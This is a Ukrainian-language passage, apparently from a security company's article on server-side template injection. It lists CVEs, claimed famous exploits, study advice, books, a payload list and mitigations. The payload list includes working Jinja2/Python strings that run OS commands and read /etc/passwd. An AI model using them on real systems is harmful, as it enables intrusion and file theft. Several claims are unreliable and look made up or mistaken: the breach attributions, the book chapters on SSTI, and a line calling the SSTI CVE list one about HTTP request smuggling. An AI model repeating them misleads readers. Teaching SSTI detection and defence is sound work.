CVE-2022-36799 Ця проблема існує для документування того, що було реалізовано поліпшення безпеки в тому, як сервер Jira і Центр обробки даних використовують шаблони. Порушені версії сервера та центру обробки даних Atlassian Jira дозволяли віддаленим зловмисникам з правами системного адміністратора виконувати довільний код з допомогою впровадження шаблонів, що призводило до віддаленого виконання коду (RCE) у функції шаблонів електронної пошти. У цьому випадку поліпшення безпеки полягало в захисті від використання бібліотеки XStream для можливості виконання довільного коду в шаблонах velocity. Порушені версії знаходяться до версії 8.13.19, від версії 8.14.0 до версії 8.20.7 і від версії 8.21.0 до версії 8.22.1.

CVE-2022-34771 Tabit – довільна відправка SMS від імені Tabits. Повторна відправка OTP API tabit дозволяє зловмисникові відправляти повідомлення від імені tabits кожному, хто зареєстрований в системі – API отримує параметри: номер телефону і користувальницьке повідомлення, ми можемо використовувати цей API для відправки шкідливих повідомлень будь-якому користувачеві системи. Крім того, API, ймовірно, має якийсь потенціал впровадження шаблонів. При введенні {{OTP}} в поле настроюваного повідомлення воно форматується в OTP.

CVE-2022-34625 Було виявлено, що Mealie1.0.0beta3 містить уразливість для впровадження шаблонів на стороні сервера, яка дозволяє зловмисникам виконувати довільний код з допомогою створеного шаблону Jinja2.

CVE-2022-32101 було виявлено, що kkcms версії v1.3.7 містить уразливість SQL-ін'єкції через параметр cid в /template/wapian/vlist.php .

CVE-2022-29078 Пакет 3.1.6 ejs (він же Вбудовані шаблони JavaScript для Node.js дозволяє впровадження шаблону на стороні сервера у налаштуваннях [параметри перегляду][outputFunctionName]. Це аналізується як внутрішня опція і перезаписує параметр outputFunctionName довільній командою операційної системи (яка виконується при компіляції шаблону).

Список CVE постійно оновлюється і доповнюється актуальний список всіх існуючих поширених загроз і вразливостей (CVE) для вразливостей, пов'язаних з контрабандою HTTP-запитів, можна знайти на офіційному веб-сайті CVE https://cve.mitre.org/

Список популярних експлойтів, пов'язаних з впровадженням шаблонів на стороні сервера

Існує кілька популярних експлойтів, пов'язаних з впровадженням шаблонів на стороні сервера (SSTI), які використовувалися зловмисниками для отримання несанкціонованого доступу або отримання контролю над вразливими системами. Ось кілька прикладів:

  1. Apache Struts 2: це широко використовувана платформа веб-додатків, яка, як відомо, вразлива для атак SSTI. Одним з яскравих прикладів є порушення Equifax в 2017 році, коли зловмисники використовували вразливість SSTI в Struts для крадіжки конфіденційних даних мільйонів людей.

  2. Flask / Jinja2: Flask - це популярний веб-фреймворк Python, а Jinja2 - його шаблонизатор за замовчуванням. Відома уразливість в движку шаблонів дозволяла зловмисникам виконувати довільний код на сервері шляхом впровадження шкідливого коду в шаблон Jinja2.

  3. Ruby on Rails: Ruby on Rails - популярна платформа веб-додатків, яка також виявилася вразливою для атак SSTI. У 2013 році дослідник безпеки виявив уразливість SSTI в Rails, яка дозволяла зловмисникам виконувати довільний код.

  4. Handlebars.js : Handlebars.js це популярний движок шаблонів для JavaScript, який також був визнаний уразливим для атак SSTI. Зловмисники можуть впровадити шкідливий код Handlebars.js шаблон для виконання довільного коду на сервері.

  5. Freemarker: Freemarker - популярний движок шаблонів Java, який, як було виявлено, уразливим для атак SSTI. У 2019 році під Freemarker була виявлена уразливість, яка дозволяла зловмисникам виконувати довільний код.

  6. Tornado: Tornado - це веб-фреймворк Python, який також був визнаний уразливим для атак SSTI. У 2014 році була виявлена уразливість в движку шаблонів фреймворку, яка дозволяла зловмисникам виконувати довільний код.

  7. Twig: Twig - популярний движок шаблонів PHP, який також був виявлений уразливим для атак SSTI. У 2018 році в Twig була виявлена уразливість, яка дозволяла зловмисникам виконувати довільний код.

Це всього лише кілька прикладів популярних експлойтів, пов'язаних з впровадженням шаблонів на стороні сервера (SSTI). У міру виявлення нових вразливостей зловмисники будуть продовжувати знаходити способи їх використання для отримання несанкціонованого доступу або отримання контролю над вразливими системами.

Практика виявлення та впровадження використання шаблонів на стороні сервера

Якщо ви хочете вивчити і дізнатися про впровадження шаблонів на стороні сервера (SSTI), ось кілька рекомендацій:

  1. Вивчіть основи веб-розробки: Перш ніж заглиблюватися в SSTI, ви повинні мати гарне уявлення про те, як працюють веб-додатки, різні компоненти веб-додатків і як вони взаємодіють один з одним.

  2. Дізнайтеся про уразливості веб-додатків. Важливо мати уявлення про поширених уразливості веб-додатків, таких як впровадження SQL, міжсайтовий скриптінг (XSS) і підробка міжсайтових запитів (CSRF), перш ніж переходити до SSTI.

  3. Дізнайтеся про різних типах SSTI: ви повинні добре розбиратися в різних типах SSTI, а також в різних мовах і середовищах, які вразливі для цієї атаки. Деякі з популярних мов і фреймворків, на яких вам слід зосередитися, включають Python, Ruby, Twig і Handlebars.

  4. Дізнайтеся, як ідентифікувати уразливості SSTI: Ви повинні дізнатися, як ідентифікувати уразливості SSTI з допомогою різних методів, таких як ручне тестування, засоби автоматичного сканування та перевірка коду.

  5. Практика використання вразливостей SSTI: Після того, як ви добре розберетеся в SSTI і в тому, як виявляти уразливості, вам слід попрактикуватися в їх використанні. В Інтернеті є безліч вразливих веб-додатків і завдань, які ви можете використовувати для практики.

  6. Будьте в курсі останніх досліджень і методів SSTI: SSTI - це швидко розвивається область, в якій постійно виявляються нові уразливості та методи експлуатації. Тому дуже важливо бути в курсі останніх досліджень, методів та інструментів.

  7. Приєднуйтесь до спільноти безпеки: Приєднання до спільноти безпеки може стати відмінним способом дізнатися і поділитися знаннями про SSTI і інших темах, пов'язаних з безпекою. Ви можете приєднатися до онлайн-форумах, дискусійних групах, відвідувати конференції та заходи безпеки.

  8. Пройдіть онлайн-курси і сертифікацію: Доступно кілька онлайн-курсів і сертифікатів, які охоплюють SSTI і безпека веб-додатків. Деякі популярні варіанти включають курс тестування веб-додатків на проникнення від eLearnSecurity і сертифікацію Certified Web Application Penetration Tester (C-WAPT) від Mile2.

Книги з оглядом впровадження шаблонів на стороні сервера

Ось кілька популярних книг, присвячених впровадженню шаблонів на стороні сервера (SSTI) та суміжних тем:

  1. "Довідник хакера веб–додатків: пошук і використання недоліків безпеки" Дафидда Штуттарда і Маркуса Пінто - Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків і включає главу про SSTI.

  2. "Заплутана павутина: керівництво по забезпеченню безпеки сучасних веб–додатків" Міхала Залевського - У цій книзі міститься докладний аналіз безпеки веб-додатків, включаючи такі теми, як ін'єкційні атаки, XSS і CSRF, і включає главу про SSTI.

  3. "Black Hat Python: програмування на Python для хакерів і пентестеров" Джастіна Сейтца – Ця книга являє практичний підхід до вивчення Python для використання в тестуванні на проникнення і включає главу про використання вразливостей SSTI.

  4. "Python Web Penetration Testing Cookbook" Кемерон Б'юкенен, Террі Іп, Ендрю Маббитт і Бенджамін Мей – Ця книга являє собою практичний посібник з використання Python для тестування веб-додатків на проникнення, включаючи розділ про використання SSTI.

  5. "Розширене тестування на проникнення: злом найбільш захищених мереж в світі" Уїла Аллсоппа – Ця книга являє собою розширений посібник з методів тестування на проникнення і включає розділ про використання вразливостей SSTI.

  6. "Веб–безпека для розробників: реальні загрози, практична захист" Малкольма Макдональда і Джейсона Александера - Ця книга призначена для веб-розробників і містить огляд безпеки веб-додатків, включаючи такі теми, як ін'єкційні атаки і XSS, і включає розділ про SSTI.

  7. "Освоєння сучасного тестування на проникнення в Інтернет" Прахара Прасада – Ця книга являє собою повне керівництво по сучасним методам тестування на проникнення в Інтернет, включаючи главу про використання вразливостей SSTI.

Ці книги забезпечують міцну основу для вивчення безпеки веб-додатків і використання вразливостей SSTI. Важливо відзначити, що для деяких із цих книг може знадобитися сильна технічна підготовка в області веб-розробки і / або програмування.

Список корисних навантажень для впровадження шаблонів на стороні сервера

Ось деякі поширені корисні навантаження, які можна використовувати для впровадження шаблонів на стороні сервера (SSTI).:

  1. ${{<%[%'"}}(cmd){{%]'}}
  2. {{7*7}}
  3. {{ ''.__class__.__mro__[1].__subclasses__()[69].__init__.__globals__['os'].popen('id').read() }}
  4. {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  5. {{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}
  6. {{ ''.__class__.__base__.__subclasses__()[59]('id').read() }}
  7. {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
  8. {{ ''.__class__.__mro__[1].__subclasses__()[0].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
  9. {{self}}
  10. {{this}}

Зверніть увагу, що деякі з цих корисних навантажень можуть вимагати модифікації в залежності від конкретного досліджуваного програми або платформи, і їх слід використовувати тільки в контрольованих середовищах тестування з відповідним дозволом.

Пом'якшення наслідків та способи захисту від впровадження шаблонів на стороні сервера

Для захисту від впровадження шаблонів на стороні сервера (SSTI) можна використовувати кілька методів пом'якшення наслідків. Ось деякі з найбільш ефективних:

  1. Уникайте динамічної візуалізації шаблонів: Один із способів запобігти атаки SSTI - це уникати динамічної візуалізації шаблонів. Замість цього використовуйте статичні шаблони, які не допускають динамічного введення.

  2. Перевірка і очищення вхідних даних: перевірка і очищення користувальницьких вхідних даних для запобігання проникнення шкідливого коду в шаблони. Використовуйте методи перевірки вхідних даних, такі як внесення в білий список, чорний список або регулярні вирази, щоб відфільтрувати небезпечні вхідні дані.

  3. Кодування виводу: кодуйте всі введені користувачем дані перед їх відображенням у шаблоні, щоб запобігти виконання шкідливого коду. Використовуйте методи кодування виводу, такі як кодування сутності HTML або кодування URL.

  4. Використовуйте політику безпеки вмісту (CSP): політика безпеки вмісту може використовуватися для обмеження джерел, з яких може бути завантажене вміст. Обмежуючи джерела контенту, це може допомогти запобігти впровадження зловмисниками шкідливого коду.

  5. Оновлюйте програмне забезпечення: оновлюйте програмне забезпечення і платформи за допомогою останніх виправлень безпеки, щоб запобігти використання відомих вразливостей.

  6. Використовуйте брандмауер веб-додатків (WAF): WAF можна використовувати для моніторингу вхідного трафіка, виявлення і блокування підозрілих запитів, які можуть вказувати на атаку SSTI.

  7. Просвітництво користувачів: Інформуйте користувачів про небезпеку атак SSTI і заохочуйте їх повідомляти про будь-які підозрілі дії.

Важливо зазначити, що ці методи пом'якшення наслідків не є надійними, і зловмисники все ще можуть знайти способи обійти їх. Тому важливо регулярно перевіряти свої програми на наявність вразливостей і бути в курсі останніх рекомендацій по забезпеченню безпеки.

Висновок

Впровадження шаблонів на стороні сервера (SSTI) є серйозною уразливістю, яка може дозволити зловмиснику виконати довільний код на веб-сервері. Його можна використовувати з допомогою різних методів, включаючи інтерполяцію рядків, впровадження об'єктів, впровадження коду і впровадження команд. Існує безліч інструментів і методів для виявлення і використання вразливостей SSTI, і дуже важливо ретельно протестувати веб-додатки на наявність SSTI. Стратегії пом'якшення наслідків включають перевірку і очищення вхідних даних, використання безпечних шаблонів і фреймворків, а також застосування мінімальних привілеїв і всебічний захист. Як і у випадку з усіма уразливими веб-додатків, постійне оновлення останніх виправлень і оновлень безпеки має вирішальне значення для забезпечення безпеки і надійності веб-додатків.

Інші Послуги

Готові до безпеки?

зв'язатися з нами